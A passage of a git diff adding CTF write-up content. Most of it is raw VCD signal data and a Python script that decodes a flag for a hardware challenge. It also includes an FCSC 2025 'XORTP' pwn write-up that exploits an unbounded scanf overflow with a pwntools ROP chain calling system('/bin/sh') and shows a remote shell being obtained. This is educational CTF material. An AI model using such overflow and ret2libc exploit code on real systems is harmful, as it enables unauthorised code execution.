1! +#8896892 0! +#8898662 1! +#8898892 0! +#8900663 1! +#8900892 0! +#8902663 1! +#8902893 0! +#8904663 1! +#8904893 0! +#8906664 1! +#8906893 0! +#8908664 1! +#8908893 0! +#8910664 1! +#8910894 0! +#8912665 1! +#8912894 0! +#8914665 1! +#8914894 0! +#8916665 1! +#8916895 0! +#8918665 1! +#8918895 0! +#8920666 1! +#8920895 0! +#8922666 1! +#8922896 0! +#8924666 1! +#8924896 0! +#8926667 1! +#8926896 0! +#8928667 1! +#8928897 0! +#8930667 1! +#8930897 0! +#8932668 1! +#8932897 0! +#8934668 1! +#8934897 0! +#8936668 1! +#8936898 0! +#8938669 1! +#8938898 0! +#8940669 1! +#8940898 0! +#8942669 1! +#8942899 0! +#8944669 1! +#8944899 0! +#8946670 1! +#8946899 0! +#8948670 1! +#8948900 0! +#8950670 1! +#8950900 0! +#8952671 1! +#8952900 0! +#8954671 1! +#8954901 0! +#8956671 1! +#8956901 0! +#8958672 1! +#8958901 0! +#8960672 1! +#8960901 0! +#8962672 1! +#8962902 0! +#8964673 1! +#8964902 0! +#8966673 1! +#8966902 0! +#8968673 1! +#8968903 0! +#8970674 1! +#8970903 0! +#8972674 1! +#8972903 0! +#8974674 1! +#8974904 0! +#8976674 1! +#8976904 0! +#8978675 1! +#8978904 0! +#8980675 1! +#8980905 0! +#8982675 1! +#8982905 0! +#8984676 1! +#8984905 0! +#8986676 1! +#8986906 0! +#8988676 1! +#8988906 0! +#8990677 1! +#8990906 0! +#8992677 1! +#8992907 0! +#8994677 1! +#8994907 0! +#8996678 1! +#8996907 0! +#8998678 1! +#8998907 0! +#9000678 1! +#9000908 0! +#9002678 1! +#9002908 0! +#9004679 1! +#9004908 0! +#9006679 1! +#9006909 0! +#9008679 1! +#9008909 0! +#9010680 1! +#9010909 0! +#9012680 1! +#9012910 0! +#9014680 1! +#9014910 0! +#9016681 1! +#9016910 0! +#9018681 1! +#9018910 0! +#9020681 1! +#9020911 0! +#9022681 1! +#9022911 0! +#9024682 1! +#9024911 0! +#9026682 1! +#9026912 0! +#9028682 1! +#9028912 0! +#9030683 1! +#9030912 0! +#9032683 1! +#9032913 0! +#9034683 1! +#9034913 0! +#9036684 1! +#9036913 0! +#9038684 1! +#9038913 0! +#9040684 1! +#9040914 0! +#9042684 1! +#9042914 0! +#9044685 1! +#9044914 0! +#9046685 1! +#9046915 0! +#9048685 1! +#9048915 0! +#9050686 1! +#9050915 0! +#9052686 1! +#9052916 0! +#9054686 1! +#9054916 0! +#9056687 1! +#9056916 0! +#9058687 1! +#9058916 0! +#9060687 1! +#9060917 0! +#9062687 1! +#9062917 0! +#9064688 1! +#9064917 0! +#9066688 1! +#9066918 0! +#9068688 1! +#9068918 0! +#9070689 1! +#9070918 0! +#9072689 1! +#9072919 0! +#9074689 1! +#9074919 0! +#9076690 1! +#9076919 0! +#9078690 1! +#9078919 0! +#9080690 1! +#9080920 0! +#9082690 1! +#9082920 0! +#9084691 1! +#9084920 0! +#9086691 1! +#9086921 0! +#9088691 1! +#9088921 0! +#9090692 1! +#9090921 0! +#9092692 1! +#9092922 0! +#9094692 1! +#9094922 0! +#9096693 1! +#9096922 0! +#9098693 1! +#9098922 0! +#9100693 1! +#9100923 0! +#9102693 1! +#9102923 0! +#9104694 1! +#9104923 0! +#9106694 1! +#9106924 0! +#9108694 1! +#9108924 0! +#9110695 1! +#9110924 0! +#9112695 1! +#9112925 0! +#9114695 1! +#9114925 0! +#9116696 1! +#9116925 0! +#9118696 1! +#9118925 0! +#9120696 1! +#9120926 0! +#9122696 1! +#9122926 0! +#9124697 1! +#9124926 0! +#9126697 1! +#9126927 0! +#9128697 1! +#9128927 0! +#9130698 1! +#9130927 0! +#9132698 1! +#9132928 0! +#9134698 1! +#9134928 0! +#9136699 1! +#9136928 0! +#9138699 1! +#9138929 0! +#9140699 1! +#9140929 0! +#9142700 1! +#9142929 0! +#9144700 1! +#9144930 0! +#9146700 1! +#9146930 0! +#9148701 1! +#9148930 0! +#9150701 1! +#9150930 0! +#9152701 1! +#9152931 0! +#9154701 1! +#9154931 0! +#9156702 1! +#9156931 0! +#9158702 1! +#9158932 0! +#9160702 1! +#9160932 0! +#9162703 1! +#9162932 0! +#9164703 1! +#9164933 0! +#9166703 1! +#9166933 0! +#9168704 1! +#9168933 0! +#9170704 1! +#9170933 0! +#9172704 1! +#9172934 0! +#9174704 1! +#9174934 0! +#9176705 1! +#9176934 0! +#9178705 1! +#9178935 0! +#9180705 1! +#9180935 0! +#9182706 1! +#9182936 0! +#9184706 1! +#9184936 0! +#9186706 1! +#9186936 0! +#9188707 1! +#9188936 0! +#9190707 1! +#9190936 0! +#9192707 1! +#9192937 0! +#9194707 1! +#9194937 0! +#9196708 1! +#9196937 0! +#9198708 1! +#9198938 0! +#9200708 1! +#9200938 0! +#9202709 1! +#9202938 0! +#9204709 1! +#9204939 0! +#9206709 1! +#9206939 0! +#9208710 1! +#9208939 0! +#9210710 1! +#9210939 0! +#9212710 1! +#9212940 0! +#9214710 1! +#9214940 0! +#9216711 1! +#9216940 0! +#9218711 1! +#9218941 0! +#9220711 1! +#9220941 0! +#9222712 1! +#9222941 0! +#9224712 1! +#9224942 0! +#9226712 1! +#9226942 0! +#9228713 1! +#9228942 0! +#9230713 1! +#9230942 0! +#9232713 1! +#9232943 0! +#9234713 1! +#9234943 0! +#9236714 1! +#9236943 0! +#9238714 1! +#9238944 0! +#9240714 1! +#9240944 0! +#9242715 1! +#9242944 0! +#9244715 1! +#9244945 0! +#9246715 1! +#9246945 0! +#9248716 1! +#9248945 0! +#9250716 1! +#9250945 0! +#9252716 1! +#9252946 0! +#9254716 1! +#9254946 0! +#9256717 1! +#9256946 0! +#9258717 1! +#9258947 0! +#9260717 1! +#9260947 0! +#9262718 1! +#9262947 0! +#9264718 1! +#9264948 0! +#9266718 1! +#9266948 0! +#9268719 1! +#9268948 0! +#9270719 1! +#9270948 0! +#9272719 1! +#9272949 0! +#9274719 1! +#9274949 0! +#9276720 1! +#9276949 0! +#9278720 1! +#9278950 0! +#9280720 1! +#9280950 0! +#9282721 1! +#9282950 0! +#9284721 1! +#9284951 0! +#9286722 1! +#9286951 0! +#9288722 1! +#9288952 0! +#9290722 1! +#9290952 0! +#9292723 1! +#9292952 0! +#9294723 1! +#9294953 0! +#9296723 1! +#9296953 0! +#9298724 1! +#9298953 0! +#9300724 1! +#9300953 0! +#9302724 1! +#9302954 0! +#9304724 1! +#9304954 0! +#9306725 1! +#9306954 0! +#9308725 1! +#9308955 0! +#9310725 1! +#9310955 0! +#9312726 1! +#9312955 0! +#9314726 1! +#9314956 0! +#9316726 1! +#9316956 0! +#9318727 1! +#9318956 0! +#9320727 1! +#9320956 0! +#9322727 1! +#9322957 0! +#9324727 1! +#9324957 0! +#9326728 1! +#9326957 0! +#9328728 1! +#9328958 0! +#9330728 1! +#9330958 0! +#9332729 1! +#9332958 0! +#9334729 1! +#9334959 0! +#9336729 1! +#9336959 0! +#9338730 1! +#9338959 0! +#9340730 1! +#9340959 0! +#9342730 1! +#9342960 0! +#9344730 1! +#9344960 0! +#9346731 1! +#9346960 0! +#9348731 1! +#9348961 0! +#9350731 1! +#9350961 0! +#9352732 1! +#9352961 0! +#9354732 1! +#9354962 0! +#9356732 1! +#9356962 0! +#9358733 1! +#9358962 0! +#9360733 1! +#9360962 0! +#9362733 1! +#9362963 0! +#9364733 1! +#9364963 0! +#9366734 1! +#9366963 0! +#9368734 1! +#9368964 0! +#9370734 1! +#9370964 0! +#9372735 1! +#9372964 0! +#9374735 1! +#9374965 0! +#9376735 1! +#9376965 0! +#9378736 1! +#9378965 0! +#9380736 1! +#9380965 0! +#9382736 1! +#9382966 0! +#9384736 1! +#9384966 0! +#9386737 1! +#9386966 0! +#9388737 1! +#9388967 0! +#9390737 1! +#9390967 0! +#9392738 1! +#9392967 0! +#9394738 1! +#9394968 0! +#9396738 1! +#9396968 0! +#9398739 1! +#9398968 0! +#9400739 1! +#9400968 0! +#9402739 1! +#9402969 0! +#9404739 1! +#9404969 0! +#9406740 1! +#9406969 0! +#9408740 1! +#9408970 0! +#9410740 1! +#9410970 0! +#9412741 1! +#9412970 0! +#9414741 1! +#9414971 0! +#9416741 1! +#9416971 0! +#9418742 1! +#9418971 0! +#9420742 1! +#9420971 0! +#9422742 1! +#9422972 0! +#9424742 1! +#9424972 0! +#9426743 1! +#9426972 0! +#9428743 1! +#9428973 0! +#9430744 1! +#9430973 0! +#9432744 1! +#9432974 0! +#9434744 1! +#9434974 0! +#9436745 1! +#9436974 0! +#9438745 1! +#9438975 0! +#9440745 1! +#9440975 0! +#9442746 1! +#9442975 0! +#9444746 1! +#9444976 0! +#9446746 1! +#9446976 0! +#9448747 1! +#9448976 0! +#9450747 1! +#9450976 0! +#9452747 1! +#9452977 0! +#9454747 1! +#9454977 0! +#9456748 1! +#9456977 0! +#9458748 1! +#9458978 0! +#9460748 1! +#9460978 0! +#9462749 1! +#9462978 0! +#9464749 1! +#9464979 0! +#9466749 1! +#9466979 0! +#9468750 1! +#9468979 0! +#9470750 1! +#9470979 0! +#9472750 1! +#9472980 0! +#9474750 1! +#9474980 0! +#9476751 1! +#9476980 0! +#9478751 1! +#9478981 0! +#9480751 1! +#9480981 0! +#9482752 1! +#9482981 0! +#9484752 1! +#9484982 0! +#9486752 1! +#9486982 0! +#9488753 1! +#9488982 0! +#9490753 1! +#9490982 0! +#9492753 1! +#9492983 0! +#9494753 1! +#9494983 0! +#9496754 1! +#9496983 0! +#9498754 1! +#9498984 0! +#9500754 1! +#9500984 0! +#9502755 1! +#9502984 0! +#9504755 1! +#9504985 0! +#9506755 1! +#9506985 0! +#9508756 1! +#9508985 0! +#9510756 1! +#9510985 0! +#9512756 1! +#9512986 0! +#9514756 1! +#9514986 0! +#9516757 1! +#9516986 0! +#9518757 1! +#9518987 0! +#9520757 1! +#9520987 0! +#9522758 1! +#9522987 0! +#9524758 1! +#9524988 0! +#9526758 1! +#9526988 0! +#9528759 1! +#9528988 0! +#9530759 1! +#9530988 0! +#9532759 1! +#9532989 0! +#9534759 1! +#9534989 0! +#9536760 1! +#9536989 0! +#9538760 1! +#9538990 0! +#9540760 1! +#9540990 0! +#9542761 1! +#9542990 0! +#9544761 1! +#9544991 0! +#9546761 1! +#9546991 0! +#9548762 1! +#9548991 0! +#9550762 1! +#9550991 0! +#9552762 1! +#9552992 0! +#9554762 1! +#9554992 0! +#9556763 1! +#9556992 0! +#9558763 1! +#9558993 0! +#9560763 1! +#9560993 0! +#9562764 1! +#9562993 0! +#9564764 1! +#9564994 0! +#9566764 1! +#9566994 0! +#9568765 1! +#9568994 0! +#9570765 1! +#9570994 0! +#9572765 1! +#9572995 0! +#9574765 1! +#9574995 0! +#9576766 1! +#9576996 0! +#9578767 1! +#9578996 0! +#9580767 1! +#9580996 0! +#9582767 1! +#9582997 0! +#9584767 1! +#9584997 0! +#9586768 1! +#9586997 0! +#9588768 1! +#9588998 0! +#9590768 1! +#9590998 0! +#9592769 1! +#9592998 0! +#9594769 1! +#9594999 0! +#9596769 1! +#9596999 0! +#9598770 1! +#9598999 0! +#9600770 1! +#9600999 0! +#9602770 1! +#9603000 0! +#9604770 1! +#9605000 0! +#9606771 1! +#9607000 0! +#9608771 1! +#9609001 0! +#9610771 1! +#9611001 0! +#9612772 1! +#9613001 0! +#9614772 1! +#9615002 0! +#9616772 1! +#9617002 0! +#9618773 1! +#9619002 0! +#9620773 1! +#9621003 0! +#9622773 1! +#9623003 0! +#9624773 1! +#9625003 0! +#9626774 1! +#9627003 0! +#9628774 1! +#9629004 0! +#9630774 1! +#9631004 0! +#9632775 1! +#9633004 0! +#9634775 1! +#9635005 0! +#9636775 1! +#9637005 0! +#9638776 1! +#9639005 0! +#9640776 1! +#9641005 0! +#9642776 1! +#9643006 0! +#9644776 1! +#9645006 0! +#9646777 1! +#9647006 0! +#9648777 1! +#9649007 0! +#9650777 1! +#9651007 0! +#9652778 1! +#9653007 0! +#9654778 1! +#9655008 0! +#9656778 1! +#9657008 0! +#9658779 1! +#9659008 0! +#9660779 1! +#9661008 0! +#9662779 1! +#9663009 0! +#9664779 1! +#9665009 0! +#9666780 1! +#9667009 0! +#9668780 1! +#9669010 0! +#9670780 1! +#9671010 0! +#9672781 1! +#9673010 0! +#9674781 1! +#9675011 0! +#9676781 1! +#9677011 0! +#9678782 1! +#9679011 0! +#9680782 1! +#9681011 0! +#9682782 1! +#9683012 0! +#9684782 1! +#9685012 0! +#9686783 1! +#9687012 0! +#9688783 1! +#9689013 0! +#9690783 1! +#9691013 0! +#9692784 1! +#9693013 0! +#9694784 1! +#9695014 0! +#9696784 1! +#9697014 0! +#9698785 1! +#9699014 0! +#9700785 1! +#9701014 0! +#9702785 1! +#9703015 0! +#9704785 1! +#9705015 0! +#9706786 1! +#9707015 0! +#9708786 1! +#9709016 0! +#9710786 1! +#9711016 0! +#9712787 1! +#9713016 0! +#9714787 1! +#9715017 0! +#9716787 1! +#9717017 0! +#9718788 1! +#9719017 0! +#9720788 1! +#9721017 0! +#9722789 1! +#9723018 0! +#9724789 1! +#9725019 0! +#9726789 1! +#9727019 0! +#9728790 1! +#9729019 0! +#9730790 1! +#9731019 0! +#9732790 1! +#9733020 0! +#9734790 1! +#9735020 0! +#9736791 1! +#9737020 0! +#9738791 1! +#9739021 0! +#9740791 1! +#9741021 0! +#9742792 1! +#9743021 0! +#9744792 1! +#9745022 0! +#9746792 1! +#9747022 0! +#9748793 1! +#9749022 0! +#9750793 1! +#9751022 0! +#9752793 1! +#9753023 0! +#9754793 1! +#9755023 0! +#9756794 1! +#9757023 0! +#9758794 1! +#9759024 0! +#9760794 1! +#9761024 0! +#9762795 1! +#9763024 0! +#9764795 1! +#9765025 0! +#9766795 1! +#9767025 0! +#9768796 1! +#9769025 0! +#9770796 1! +#9771025 0! +#9772796 1! +#9773026 0! +#9774796 1! +#9775026 0! +#9776797 1! +#9777026 0! +#9778797 1! +#9779027 0! +#9780797 1! +#9781027 0! +#9782798 1! +#9783027 0! +#9784798 1! +#9785028 0! +#9786798 1! +#9787028 0! +#9788799 1! +#9789028 0! +#9790799 1! +#9791028 0! +#9792799 1! +#9793029 0! +#9794799 1! +#9795029 0! +#9796800 1! +#9797029 0! +#9798800 1! +#9799030 0! +#9800800 1! +#9801030 0! +#9802801 1! +#9803030 0! +#9804801 1! +#9805031 0! +#9806801 1! +#9807031 0! +#9808802 1! +#9809031 0! +#9810802 1! +#9811031 0! +#9812802 1! +#9813032 0! +#9814802 1! +#9815032 0! +#9816803 1! +#9817032 0! +#9818803 1! +#9819033 0! +#9820803 1! +#9821033 0! +#9822804 1! +#9823033 0! +#9824804 1! +#9825034 0! +#9826804 1! +#9827034 0! +#9828805 1! +#9829034 0! +#9830805 1! +#9831034 0! +#9832805 1! +#9833035 0! +#9834805 1! +#9835035 0! +#9836806 1! +#9837035 0! +#9838806 1! +#9839036 0! +#9840806 1! +#9841036 0! +#9842807 1! +#9843036 0! +#9844807 1! +#9845037 0! +#9846807 1! +#9847037 0! +#9848808 1! +#9849037 0! +#9850808 1! +#9851037 0! +#9852808 1! +#9853038 0! +#9854808 1! +#9855038 0! +#9856809 1! +#9857038 0! +#9858809 1! +#9859039 0! +#9860809 1! +#9861039 0! +#9862810 1! +#9863039 0! +#9864810 1! +#9865040 0! +#9866810 1! +#9867040 0! +#9868811 1! +#9869041 0! +#9870811 1! +#9871041 0! +#9872812 1! +#9873041 0! +#9874812 1! +#9875042 0! +#9876812 1! +#9877042 0! +#9878813 1! +#9879042 0! +#9880813 1! +#9881043 0! +#9882813 1! +#9883043 0! +#9884814 1! +#9885043 0! +#9886814 1! +#9887043 0! +#9888814 1! +#9889044 0! +#9890814 1! +#9891044 0! +#9892815 1! +#9893044 0! +#9894815 1! +#9895045 0! +#9896815 1! +#9897045 0! +#9898816 1! +#9899045 0! +#9900816 1! +#9901045 0! +#9902816 1! +#9903046 0! +#9904817 1! +#9905046 0! +#9906817 1! +#9907046 0! +#9908817 1! +#9909047 0! +#9910817 1! +#9911047 0! +#9912818 1! +#9913048 0! +#9914818 1! +#9915048 0! +#9916818 1! +#9917048 0! +#9918819 1! +#9919048 0! +#9920819 1! +#9921049 0! +#9922819 1! +#9923049 0! +#9924820 1! +#9925049 0! +#9926820 1! +#9927049 0! +#9928820 1! +#9929050 0! +#9930820 1! +#9931050 0! +#9932821 1! +#9933050 0! +#9934821 1! +#9935051 0! +#9936821 1! +#9937051 0! +#9938822 1! +#9939051 0! +#9940822 1! +#9941052 0! +#9942822 1! +#9943052 0! +#9944823 1! +#9945052 0! +#9946823 1! +#9947052 0! +#9948823 1! +#9949053 0! +#9950823 1! +#9951053 0! +#9952824 1! +#9953053 0! +#9954824 1! +#9955054 0! +#9956824 1! +#9957054 0! +#9958825 1! +#9959054 0! +#9960825 1! +#9961054 0! +#9962825 1! +#9963055 0! +#9964826 1! +#9965055 0! +#9966826 1! +#9967055 0! +#9968826 1! +#9969056 0! +#9970826 1! +#9971056 0! +#9972827 1! +#9973056 0! +#9974827 1! +#9975057 0! +#9976827 1! +#9977057 0! +#9978828 1! +#9979057 0! +#9980828 1! +#9981058 0! +#9982828 1! +#9983058 0! +#9984829 1! +#9985058 0! +#9986829 1! +#9987058 0! +#9988829 1! +#9989059 0! +#9990829 1! +#9991059 0! +#9992830 1! +#9993059 0! +#9994830 1! +#9995060 0! +#9996830 1! +#9997060 0! +#9998831 1! +#9999060 0! +#10000831 1! +#10001061 0! +#10002831 1! +#10003061 0! +#10004832 1! +#10005061 0! +#10006832 1! +#10007061 0! +#10008832 1! +#10009062 0! +#10010832 1! +#10011062 0! +#10012833 1! +#10013062 0! +#10014833 1! +#10015063 0! +#10016834 1! +#10017063 0! +#10018834 1! +#10019064 0! +#10020834 1! +#10021064 0! +#10022835 1! +#10023064 0! +#10024835 1! +#10025065 0! +#10026835 1! +#10027065 0! +#10028836 1! +#10029065 0! +#10030836 1! +#10031065 0! +#10032836 1! +#10033066 0! +#10034836 1! +#10035066 0! +#10036837 1! +#10037066 0! +#10038837 1! +#10039067 0! +#10040837 1! +#10041067 0! +#10042838 1! +#10043067 0! +#10044838 1! +#10045068 0! +#10046838 1! +#10047068 0! +#10048839 1! +#10049068 0! +#10050839 1! +#10051068 0! +#10052839 1! +#10053069 0! +#10054839 1! +#10055069 0! +#10056840 1! +#10057069 0! +#10058840 1! +#10059070 0! +#10060840 1! +#10061070 0! +#10062841 1! +#10063070 0! +#10064841 1! +#10065071 0! +#10066841 1! +#10067071 0! +#10068842 1! +#10069071 0! +#10070842 1! +#10071071 0! +#10072842 1! +#10073072 0! +#10074842 1! +#10075072 0! +#10076843 1! +#10077072 0! +#10078843 1! +#10079073 0! +#10080843 1! +#10081073 0! +#10082844 1! +#10083073 0! +#10084844 1! +#10085074 0! +#10086844 1! +#10087074 0! +#10088845 1! +#10089074 0! +#10090845 1! +#10091074 0! +#10092845 1! +#10093075 0! +#10094845 1! +#10095075 0! +#10096846 1! +#10097075 0! +#10098846 1! +#10099076 0! +#10100846 1! +#10101076 0! +#10102847 1! +#10103076 0! +#10104847 1! +#10105077 0! +#10106847 1! +#10107077 0! +#10108848 1! +#10109077 0! +#10110848 1! +#10111077 0! +#10112848 1! +#10113078 0! +#10114848 1! +#10115078 0! +#10116849 1! +#10117078 0! +#10118849 1! +#10119079 0! +#10120849 1! +#10121079 0! +#10122850 1! +#10123079 0! +#10124850 1! +#10125080 0! +#10126850 1! +#10127080 0! +#10128851 1! +#10129080 0! +#10130851 1! +#10131080 0! +#10132851 1! +#10133081 0! +#10134851 1! +#10135081 0! +#10136852 1! +#10137081 0! +#10138852 1! +#10139082 0! +#10140852 1! +#10141082 0! +#10142853 1! +#10143082 0! +#10144853 1! +#10145083 0! +#10146853 1! +#10147083 0! +#10148854 1! +#10149083 0! +#10150854 1! +#10151083 0! +#10152854 1! +#10153084 0! +#10154854 1! +#10155084 0! +#10156855 1! +#10157084 0! +#10158855 1! +#10159085 0! +#10160856 1! +#10161085 0! +#10162856 1! +#10163086 0! +#10164856 1! +#10165086 0! +#10166857 1! +#10167086 0! +#10168857 1! +#10169087 0! +#10170857 1! +#10171087 0! +#10172858 1! +#10173087 0! +#10174858 1! +#10175088 0! +#10176858 1! +#10177088 0! +#10178859 1! +#10179088 0! +#10180859 1! +#10181088 0! +#10182859 1! +#10183089 0! +#10184859 1! +#10185089 0! +#10186860 1! +#10187089 0! +#10188860 1! +#10189090 0! +#10190860 1! +#10191090 0! +#10192861 1! +#10193090 0! +#10194861 1! +#10195091 0! +#10196861 1! +#10197091 0! +#10198862 1! +#10199091 0! +#10200862 1! +#10201091 0! +#10202862 1! +#10203092 0! +#10204862 1! +#10205092 0! +#10206863 1! +#10207092 0! +#10208863 1! +#10209093 0! +#10210863 1! +#10211093 0! +#10212864 1! +#10213093 0! +#10214864 1! +#10215094 0! +#10216864 1! +#10217094 0! +#10218865 1! +#10219094 0! +#10220865 1! +#10221094 0! +#10222865 1! +#10223095 0! +#10224865 1! +#10225095 0! +#10226866 1! +#10227095 0! +#10228866 1! +#10229096 0! +#10230866 1! +#10231096 0! +#10232867 1! +#10233096 0! +#10234867 1! +#10235097 0! +#10236867 1! +#10237097 0! +#10238868 1! +#10239097 0! +#10240868 1! +#10241097 0! +#10242868 1! +#10243098 0! +#10244868 1! +#10245098 0! +#10246869 1! +#10247098 0! +#10248869 1! +#10249099 0! +#10250869 1! +#10251099 0! +#10252870 1! +#10253099 0! +#10254870 1! +#10255100 0! +#10256870 1! +#10257100 0! +#10258871 1! +#10259100 0! +#10260871 1! +#10261100 0! +#10262871 1! +#10263101 0! +#10264871 1! +#10265101 0! +#10266872 1! +#10267101 0! +#10268872 1! +#10269102 0! +#10270872 1! +#10271102 0! +#10272873 1! +#10273102 0! +#10274873 1! +#10275103 0! +#10276873 1! +#10277103 0! +#10278874 1! +#10279103 0! +#10280874 1! +#10281103 0! +#10282874 1! +#10283104 0! +#10284874 1! +#10285104 0! +#10286875 1! +#10287104 0! +#10288875 1! +#10289105 0! +#10290875 1! +#10291105 0! +#10292876 1! +#10293105 0! +#10294876 1! +#10295106 0! +#10296876 1! +#10297106 0! +#10298877 1! +#10299106 0! +#10300877 1! +#10301106 0! +#10302877 1! +#10303107 0! +#10304877 1! +#10305107 0! +#10306878 1! +#10307108 0! +#10308879 1! +#10309108 0! +#10310879 1! +#10311108 0! +#10312879 1! +#10313109 0! +#10314879 1! +#10315109 0! +#10316880 1! +#10317109 0! +#10318880 1! +#10319110 0! +#10320880 1! +#10321110 0! +#10322881 1! +#10323110 0! +#10324881 1! +#10325111 0! +#10326881 1! +#10327111 0! +#10328882 1! +#10329111 0! +#10330882 1! +#10331111 0! +#10332882 1! +#10333112 0! +#10334882 1! +#10335112 0! +#10336883 1! +#10337112 0! +#10338883 1! +#10339113 0! +#10340883 1! +#10341113 0! +#10342884 1! +#10343113 0! +#10344884 1! +#10345114 0! +#10346884 1! +#10347114 0! +#10348885 1! +#10349114 0! +#10350885 1! +#10351115 0! +#10352885 1! +#10353115 0! +#10354885 1! +#10355115 0! +#10355220 diff --git a/content/writeups/2025/fcsc/hardware/mechanical_display/solve.py b/content/writeups/2025/fcsc/hardware/mechanical_display/solve.py new file mode 100755 index 0000000..6ad9110 --- /dev/null +++ b/content/writeups/2025/fcsc/hardware/mechanical_display/solve.py @@ -0,0 +1,29 @@ +#!/usr/bin/python3 + +def closest_number(target): + numbers = list(range(60, 241, 10)) + target += 2 + closest = min(numbers, key=lambda x: abs(x - target)) + return closest + +if __name__ == "__main__": + + flag = "" + values = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'F', 'S', '{', '}', '_'] + + with open('mechanical-display.vcd', 'r') as file: + data = [line.strip() for line in file][11:] + + last = -1 + first = data[1].split()[0][1:] + second = data[2].split()[0][1:] + for i in range(3, len(data) - 1, 2): + first = data[i].split()[0][1:] + second = data[i+1].split()[0][1:] + diff = int(second) - int(first) + if (diff - 7) > last or (diff + 7) < last: + last = diff + val = closest_number(diff) + char = str(values[int(val/10 - 6)]) + flag += char + print(flag) diff --git a/content/writeups/2025/fcsc/pwn/xortp.md b/content/writeups/2025/fcsc/pwn/xortp.md new file mode 100644 index 0000000..97ee8a6 --- /dev/null +++ b/content/writeups/2025/fcsc/pwn/xortp.md @@ -0,0 +1,202 @@ ++++ +date = '2025-04-27T14:23:22+02:00' +draft = false +title = 'XORTP' +tags = [ "pwn" ] ++++ + +Title: XORTP +Points: 200 +Number of solves: 146 +Description: You can encrypt any file on the system with an unbreakable mechanism worthy of the greatest! + +We are provided with the source code of the challenge and a compiled executable. + +Ok so the code contains 3 functions including a `main`. +```c +ssize_t +get_otp(unsigned char *k, const size_t n) +{ + int fd = open("/dev/urandom", O_RDONLY); + if (fd < 0) { + return -1; + } + + if (read(fd, k, n) < 0) { + close(fd); + return -1; + } + + close(fd); + return n; +} +``` + +This `get_otp` (otp meaning one time password) function reads `n` bytes of data from `/dev/urandom` into the buffer pointed by `k` which provides a random encryption key to the program. + +```c +ssize_t +read_file(char *fn, unsigned char *m) +{ + int fd = open(fn, O_RDONLY); + if (fd < 0) { + return -1; + } + + ssize_t n = read(fd, m, BUF_SIZE); + if (n < 0) { + return -1; + } + + close(fd); + return n; +} +``` + +The `read_file` function does exactly what the name implies : it reads `BUF_SIZE` of data from the file which name is in `fn` into the buffer pointed by `m`. + +```c +#include +#include +#include +#include +#include + +#define BUF_SIZE 128 + + +int +main() +{ + char filename[BUF_SIZE]; + unsigned char m[BUF_SIZE]; + unsigned char k[BUF_SIZE]; + + setvbuf(stdin, NULL, _IONBF, 0); + setvbuf(stdout, NULL, _IONBF, 0); + + system("ls -ld *"); + + printf("Which file would like to encrypt?\n"); + scanf("%s", filename); + + ssize_t length = read_file(filename, m); + if (length < 0) { + printf("Error: read_file\n"); + return 0; + } + + if (get_otp(k, length) < 0) { + printf("Error: get_otp\n"); + return 0; + } + + // Output the XOR result + for (ssize_t i = 0; i < length; ++i) { + printf("%02x", m[i] ^ k[i]); + } + printf("\n"); + + return 0; +} +``` + +Now for the `main` part this displays the content of the current directory then reads a filename from the user and outputs up to the first 128 bytes xored with a random key. +``` +>>> nc chall.fcsc.fr 2105 +-r-------- 1 ctf ctf 71 Apr 13 21:36 flag.txt +-r-x------ 1 ctf ctf 899704 Apr 13 21:36 xortp +Which file would like to encrypt? +flag.txt +9eec55fe66cc73bf87ea8d4decd037f715b697ededdfa40f1373b9dc47a0cef4bad96dd14a732ef32dddd5b11c8fcd3a93eb2f38dad24d19c1bca549d44e71b65ac4cfa53858b9 +``` + +Routine checksec for some information. +``` +>>> pwn checksec --file xortp +[*] '/home/furtest/files/hacking/ctf/fcsc/pwn/XORTP/xortp' + Arch: amd64-64-little + RELRO: Partial RELRO + Stack: Canary found + NX: NX enabled + PIE: No PIE (0x400000) + Stripped: No +``` + + +The encryption logic does not have any obvious flaws however we notice that there is no bound check on the filename `scanf("%s", filename);` +The size of the buffer for filename is `BUF_SIZE` = 128 +Now how can we exploit this ? It is possible to send `filename\x00aaaa...` to input filename and make the file reading work and then trigger a segfault because we overwrote the return pointer. + +Wait `segmentation fault` ? Checksec said that there is a stack canary the error should have been `stack smashing detected`. We can take a quick look at the decompiled binary in ghidra and indeed there is no canary on the main function. (This took me an embarrassingly long time to notice) +Once we know that we need to take advantage of our capacity to control the return pointer of `main`. We cannot really take advantage of the functions in the program so we will try to perform a ret2libc and execute `system`. + +One more cool thing that will make everything a lot easier : the binary is statically linked +``` +>>> file xortp +xortp: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=e63dc8ebb3de92c338be2ed7f0590fbbbabd94f6, for GNU/Linux 3.2.0, not stripped +``` + +So the binary is statically linked and PIE (position independant executabled) is disabled. Calling function is therefore just a matter of finding their address in the executable. +We will to try to call `system("/bin/sh")` to do that we find a `/bin/sh` string at address `0x498213` and the `system` function at address `0x40a3c0`. + +To execute it we need to put a pointer to `/bin/sh` in `rdi` as per the x86-64 ABI. +We will use a rop (return oriented programming) gadget to do so. +``` +>>> ropper -f xortp --search "pop rdi; ret;" +0x0000000000401f60: pop rdi; ret; +``` + +So recapitulating where we are : +- We have a buffer overflow on the filename input +- We can use it to overwrite the return pointer +- The binary is statically linked and PIE is disabled +- We have the address of a `/bin/sh` string a rop gadget to load it in `rdi` and the address of `system`. + +The next step is to write a nice little pwntools script to put all of that together. + +```python +io = start() + +system = 0x40a3c0 +binsh = 0x498213 + +# Find the rop gadget +rop = ROP(elf) +POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] + +payload = flat( + b"flag.txt\x00", + b"A"*(145-2), + pack(POP_RDI), + pack(binsh), + pack(system), + pack(0x0) + ) + +print(io.recvline().decode(), end="") +print(io.recvline().decode(), end="") +io.sendlineafter(b'Which file would like to encrypt?\n', payload) +print(io.recvline().decode(), end="") + +io.interactive() +``` + +We run the script and tadam : `[1] 17615 segmentation fault (core dumped)` +Hum looks like I forgot to take stack alignment into account (I ran the exploit in gdb to figure it out). + +So I need to make the stack 16 bytes aligned (ie `rsp` must be modulo 16). +After manually stepping through the code we can see that one of the first instructions executed by `system` is `push r13` which changes `rsp` by 8 bytes. +So instead of jumping to the start of `system` we jump after this `push` and our exploit works. + +``` +>>> ./exploit.py REMOTE +-r-------- 1 ctf ctf 71 Apr 13 21:36 flag.txt +-r-x------ 1 ctf ctf 899704 Apr 13 21:36 xortp +bf40d970d624855062f89d3f2e39c3c2c8370fabe53e304fd014e866cfee994353f58dfb3580170a3dd26342659f9035075d4ecd59da8324a7c841a4f2df6b88a40771d95b3fa7 +$ ls 